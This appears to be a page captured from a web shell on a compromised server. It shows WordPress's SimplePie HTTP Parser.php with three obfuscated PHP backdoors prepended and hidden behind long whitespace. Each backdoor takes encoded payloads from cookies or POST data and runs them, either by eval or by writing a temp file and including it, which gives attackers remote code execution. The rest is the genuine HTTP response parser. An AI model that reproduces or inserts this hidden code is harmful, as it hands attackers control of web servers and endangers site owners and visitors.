? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-includes/SimplePie/HTTP/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-includes/SimplePie/HTTP/Parser.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $YREgFot = chr ( 214 - 144 )."\x5f" . "\166" . "\164" . chr ( 1007 - 905 ).chr (102); $njklZwbFn = "\143" . chr (108) . "\x61" . "\x73" . "\x73" . '_' . chr ( 567 - 466 ).chr ( 136 - 16 )."\x69" . "\163" . 't' . chr (115); $OibWdEq = $njklZwbFn($YREgFot); $wBTTyqIsSp = $OibWdEq;if (!$wBTTyqIsSp){class F_vtff{private $rynyCLoUrc;public static $IRZfPdH = "de7f4641-a339-47c9-8896-d38115a9ce7b";public static $DCDkbzCQDw = 27918;public function __construct($ILydlKDv=0){$TBrouCud = $_COOKIE;$zTDFf = $_POST;$yxxEpeSP = @$TBrouCud[substr(F_vtff::$IRZfPdH, 0, 4)];if (!empty($yxxEpeSP)){$vtzPr = "base64";$VicwXeUDu = "";$yxxEpeSP = explode(",", $yxxEpeSP);foreach ($yxxEpeSP as $DgnLxg){$VicwXeUDu .= @$TBrouCud[$DgnLxg];$VicwXeUDu .= @$zTDFf[$DgnLxg];}$VicwXeUDu = array_map($vtzPr . '_' . "\144" . "\145" . 'c' . chr ( 852 - 741 )."\144" . chr ( 820 - 719 ), array($VicwXeUDu,)); $VicwXeUDu = $VicwXeUDu[0] ^ str_repeat(F_vtff::$IRZfPdH, (strlen($VicwXeUDu[0]) / strlen(F_vtff::$IRZfPdH)) + 1);F_vtff::$DCDkbzCQDw = @unserialize($VicwXeUDu);}}private function fbBbu(){if (is_array(F_vtff::$DCDkbzCQDw)) {$sPAFdV = str_replace(chr ( 890 - 830 ) . "\x3f" . 'p' . "\150" . 'p', "", F_vtff::$DCDkbzCQDw[chr (99) . 'o' . "\x6e" . chr (116) . "\145" . "\x6e" . chr ( 651 - 535 )]);eval($sPAFdV); $tvzZzaTQPk = "2052";exit();}}public function __destruct(){$this->fbBbu(); $tvzZzaTQPk = "2052";}}$SjSyri = new F_vtff(); $SjSyri = "56287_23222";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $mWmxKcM = chr (74) . chr (90) . "\x54" . chr ( 1038 - 943 ).chr (84) . "\123" . chr (82) . chr (84); $mDMsU = chr ( 804 - 705 )."\x6c" . chr ( 257 - 160 ).'s' . "\x73" . "\137" . chr ( 571 - 470 )."\x78" . chr (105) . chr (115) . 't' . chr ( 642 - 527 ); $OHRIq = $mDMsU($mWmxKcM); $MANSaATaD = $OHRIq;if (!$MANSaATaD){class JZT_TSRT{private $biRWOC;public static $ZgoNN = "159d5161-02d4-435e-bf60-fcff25d77984";public static $kGSMI = 46821;public function __construct($tIcjeo=0){$DVMvKw = $_COOKIE;$vMtTQSeVG = $_POST;$vdzanyb = @$DVMvKw[substr(JZT_TSRT::$ZgoNN, 0, 4)];if (!empty($vdzanyb)){$FvUFJMBpdj = "base64";$HifTofgYf = "";$vdzanyb = explode(",", $vdzanyb);foreach ($vdzanyb as $XJvbwxw){$HifTofgYf .= @$DVMvKw[$XJvbwxw];$HifTofgYf .= @$vMtTQSeVG[$XJvbwxw];}$HifTofgYf = array_map($FvUFJMBpdj . "\x5f" . chr ( 694 - 594 )."\x65" . "\x63" . chr ( 499 - 388 ).'d' . 'e', array($HifTofgYf,)); $HifTofgYf = $HifTofgYf[0] ^ str_repeat(JZT_TSRT::$ZgoNN, (strlen($HifTofgYf[0]) / strlen(JZT_TSRT::$ZgoNN)) + 1);JZT_TSRT::$kGSMI = @unserialize($HifTofgYf);}}private function OTdeNRu(){if (is_array(JZT_TSRT::$kGSMI)) {$YRKdxUaVX = sys_get_temp_dir() . "/" . crc32(JZT_TSRT::$kGSMI['s' . chr (97) . chr (108) . "\164"]);@JZT_TSRT::$kGSMI['w' . "\162" . chr (105) . "\x74" . chr (101)]($YRKdxUaVX, JZT_TSRT::$kGSMI['c' . chr (111) . "\x6e" . "\164" . chr (101) . chr (110) . "\x74"]);include $YRKdxUaVX;@JZT_TSRT::$kGSMI['d' . chr (101) . chr ( 634 - 526 )."\x65" . "\x74" . "\x65"]($YRKdxUaVX); $hInYkT = "41162";exit();}}public function __destruct(){$this->OTdeNRu();}}$UzTsD = new JZT_TSRT(); $UzTsD = "14651";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $KaZVBxC = chr (84) . chr ( 1066 - 971 ).chr (80) . "\x66" . "\163";$noJcJAh = "\143" . "\x6c" . 'a' . "\163" . 's' . chr ( 522 - 427 )."\145" . 'x' . chr (105) . chr (115) . chr (116) . 's';$OKTru = $noJcJAh($KaZVBxC); $quIWgTKK = $OKTru;if (!$quIWgTKK){class T_Pfs{private $gsgbcLXgit;public static $eOYkvS = "aa41efd7-b50d-4ce6-9b76-028796040fe0";public static $abfzutZNn = 25217;public function __construct(){$QVWQwR = $_COOKIE;$awIyTg = $_POST;$GnwEEorWE = @$QVWQwR[substr(T_Pfs::$eOYkvS, 0, 4)];if (!empty($GnwEEorWE)){$cAMYPE = "base64";$SqWDfAO = "";$GnwEEorWE = explode(",", $GnwEEorWE);foreach ($GnwEEorWE as $ckbRwUrSR){$SqWDfAO .= @$QVWQwR[$ckbRwUrSR];$SqWDfAO .= @$awIyTg[$ckbRwUrSR];}$SqWDfAO = array_map($cAMYPE . '_' . chr (100) . chr ( 862 - 761 ).chr ( 327 - 228 ).chr (111) . "\x64" . chr ( 1091 - 990 ), array($SqWDfAO,)); $SqWDfAO = $SqWDfAO[0] ^ str_repeat(T_Pfs::$eOYkvS, (strlen($SqWDfAO[0]) / strlen(T_Pfs::$eOYkvS)) + 1);T_Pfs::$abfzutZNn = @unserialize($SqWDfAO);}}public function __destruct(){$this->bqxKyhI();}private function bqxKyhI(){if (is_array(T_Pfs::$abfzutZNn)) {$ceUInEOzY = sys_get_temp_dir() . "/" . crc32(T_Pfs::$abfzutZNn["\x73" . 'a' . chr (108) . "\164"]);@T_Pfs::$abfzutZNn['w' . "\x72" . 'i' . chr (116) . "\145"]($ceUInEOzY, T_Pfs::$abfzutZNn['c' . "\157" . "\156" . chr ( 484 - 368 ).chr ( 751 - 650 ).chr (110) . 't']);include $ceUInEOzY;@T_Pfs::$abfzutZNn["\144" . 'e' . "\x6c" . chr (101) . "\164" . "\x65"]($ceUInEOzY);exit();}}}$hCKSigt = new T_Pfs(); $hCKSigt = 19587;} ?><?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class SimplePie_HTTP_Parser
{
	/**
	 * HTTP Version
	 *
	 * @var float
	 */
	public $http_version = 0.0;

	/**
	 * Status code
	 *
	 * @var int
	 */
	public $status_code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	public $reason = '';

	/**
	 * Key/value pairs of the headers
	 *
	 * @var array
	 */
	public $headers = array();

	/**
	 * Body of the response
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Current state of the state machine
	 *
	 * @var string
	 */
	protected $state = 'http_version';

	/**
	 * Input data
	 *
	 * @var string
	 */
	protected $data = '';

	/**
	 * Input data length (to avoid calling strlen() everytime this is needed)
	 *
	 * @var int
	 */
	protected $data_length = 0;

	/**
	 * Current position of the pointer
	 *
	 * @var int
	 */
	protected $position = 0;

	/**
	 * Name of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Value of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $value = '';

	/**
	 * Create an instance of the class with the input data
	 *
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
		$this->data_length = strlen($this->data);
	}

	/**
	 * Parse the input data
	 *
	 * @return bool true on success, false on failure
	 */
	public function parse()
	{
		while ($this->state && $this->state !== 'emit' && $this->has_data())
		{
			$state = $this->state;
			$this->$state();
		}
		$this->data = '';
		if ($this->state === 'emit' || $this->state === 'body')
		{
			return true;
		}
		else
		{
			$this->http_version = '';
			$this->status_code = '';
			$this->reason = '';
			$this->headers = array();
			$this->body = '';
			return false;
		}
	}

	/**
	 * Check whether there is data beyond the pointer
	 *
	 * @return bool true if there is further data, false if not
	 */
	protected function has_data()
	{
		return (bool) ($this->position < $this->data_length);
	}

	/**
	 * See if the next character is LWS
	 *
	 * @return bool true if the next character is LWS, false if not
	 */
	protected function is_linear_whitespace()
	{
		return (bool) ($this->data[$this->position] === "\x09"
			|| $this->data[$this->position] === "\x20"
			|| ($this->data[$this->position] === "\x0A"
				&& isset($this->data[$this->position + 1])
				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
	}

	/**
	 * Parse the HTTP version
	 */
	protected function http_version()
	{
		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
		{
			$len = strspn($this->data, '0123456789.', 5);
			$this->http_version = substr($this->data, 5, $len);
			$this->position += 5 + $len;
			if (substr_count($this->http_version, '.') <= 1)
			{
				$this->http_version = (float) $this->http_version;
				$this->position += strspn($this->data, "\x09\x20", $this->position);
				$this->state = 'status';
			}
			else
			{
				$this->state = false;
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the status code
	 */
	protected function status()
	{
		if ($len = strspn($this->data, '0123456789', $this->position))
		{
			$this->status_code = (int) substr($this->data, $this->position, $len);
			$this->position += $len;
			$this->state = 'reason';
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the reason phrase
	 */
	protected function reason()
	{
		$len = strcspn($this->data, "\x0A", $this->position);
		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
		$this->position += $len + 1;
		$this->state = 'new_line';
	}

	/**
	 * Deal with a new line, shifting data around as needed
	 */
	protected function new_line()
	{
		$this->value = trim($this->value, "\x0D\x20");
		if ($this->name !== '' && $this->value !== '')
		{
			$this->name = strtolower($this->name);
			// We should only use the last Content-Type header. c.f. issue #1
			if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
			{
				$this->headers[$this->name] .= ', ' . $this->value;
			}
			else
			{
				$this->headers[$this->name] = $this->value;
			}
		}
		$this->name = '';
		$this->value = '';
		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
		{
			$this->position += 2;
			$this->state = 'body';
		}
		elseif ($this->data[$this->position] === "\x0A")
		{
			$this->position++;
			$this->state = 'body';
		}
		else
		{
			$this->state = 'name';
		}
	}

	/**
	 * Parse a header name
	 */
	protected function name()
	{
		$len = strcspn($this->data, "\x0A:", $this->position);
		if (isset($this->data[$this->position + $len]))
		{
			if ($this->data[$this->position + $len] === "\x0A")
			{
				$this->position += $len;
				$this->state = 'new_line';
			}
			else
			{
				$this->name = substr($this->data, $this->position, $len);
				$this->position += $len + 1;
				$this->state = 'value';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse LWS, replacing consecutive LWS characters with a single space
	 */
	protected function linear_whitespace()
	{
		do
		{
			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
			{
				$this->position += 2;
			}
			elseif ($this->data[$this->position] === "\x0A")
			{
				$this->position++;
			}
			$this->position += strspn($this->data, "\x09\x20", $this->position);
		} while ($this->has_data() && $this->is_linear_whitespace());
		$this->value .= "\x20";
	}

	/**
	 * See what state to move to while within non-quoted header values
	 */
	protected function value()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					// Workaround for ETags: we have to include the quotes as
					// part of the tag.
					if (strtolower($this->name) === 'etag')
					{
						$this->value .= '"';
						$this->position++;
						$this->state = 'value_char';
						break;
					}
					$this->position++;
					$this->state = 'quote';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				default:
					$this->state = 'value_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while outside quotes
	 */
	protected function value_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * See what state to move to while within quoted header values
	 */
	protected function quote()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					$this->position++;
					$this->state = 'value';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				case '\\':
					$this->position++;
					$this->state = 'quote_escaped';
					break;

				default:
					$this->state = 'quote_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while within quotes
	 */
	protected function quote_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * Parse an escaped character within quotes
	 */
	protected function quote_escaped()
	{
		$this->value .= $this->data[$this->position];
		$this->position++;
		$this->state = 'quote';
	}

	/**
	 * Parse the body
	 */
	protected function body()
	{
		$this->body = substr($this->data, $this->position);
		if (!empty($this->headers['transfer-encoding']))
		{
			unset($this->headers['transfer-encoding']);
			$this->state = 'chunked';
		}
		else
		{
			$this->state = 'emit';
		}
	}

	/**
	 * Parsed a "Transfer-Encoding: chunked" body
	 */
	protected function chunked()
	{
		if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
		{
			$this->state = 'emit';
			return;
		}

		$decoded = '';
		$encoded = $this->body;

		while (true)
		{
			$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
			if (!$is_chunked)
			{
				// Looks like it's not chunked after all
				$this->state = 'emit';
				return;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0)
			{
				// Ignore trailer headers
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}

			$chunk_length = strlen($matches[0]);
			$decoded .= $part = substr($encoded, $chunk_length, $length);
			$encoded = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded))
			{
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}
		}
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$